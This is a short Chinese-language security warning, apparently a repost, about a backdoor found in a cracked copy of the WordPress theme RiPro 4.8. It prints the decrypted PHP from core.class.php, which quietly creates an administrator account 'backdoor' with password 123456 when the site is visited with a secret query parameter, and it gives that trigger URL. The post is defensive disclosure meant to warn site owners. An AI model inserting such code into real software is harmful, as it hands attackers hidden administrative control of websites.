破解版ripro主题包含后门，下载使用了的小心了

ripro主题是一款国人原创的付费主题，很多站长喜欢ripro主题，但是又舍不得花钱购买正版，所以就去网上下载了ripro主题破解版，最新的ripro主题4.8破解版被爆出包含后门，如果你也使用了，那么赶紧去检查一下吧。

ripro主题破解版包含后门的文件位于：

RiPro4.8/wp-content/theme/ripro/inc/class/core.class.php

这个文件是被加密了的，解密后的内如如下:

add_action('wp_head', 'wp_backdoor');
function wp_backdoor()
{
        if (md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b') {
                require('wp-includes/registration.php');
                if (!username_exists('backdoor')) { //检测是否存在backdoor账户
                        $user_id = wp_create_user('backdoor', '123456'); //创建账户
                        $user = new WP_User($user_id);
                        $user->set_role('administrator'); //设置为管理员权限
                }
        }
}

这串代码的作用是：

使用http(s)://你的域名/?backdoor=go访问，自动创建用户名为backdoor密码为123456的管理员账户

所以，为了你网站的安全，自己建网站最好不要使用破解主题。

网上下载的主题发现有加密文件的，不用说，很大几率被藏了东西在里面的。

了解更多WordPress安全的文章。

原文：52破解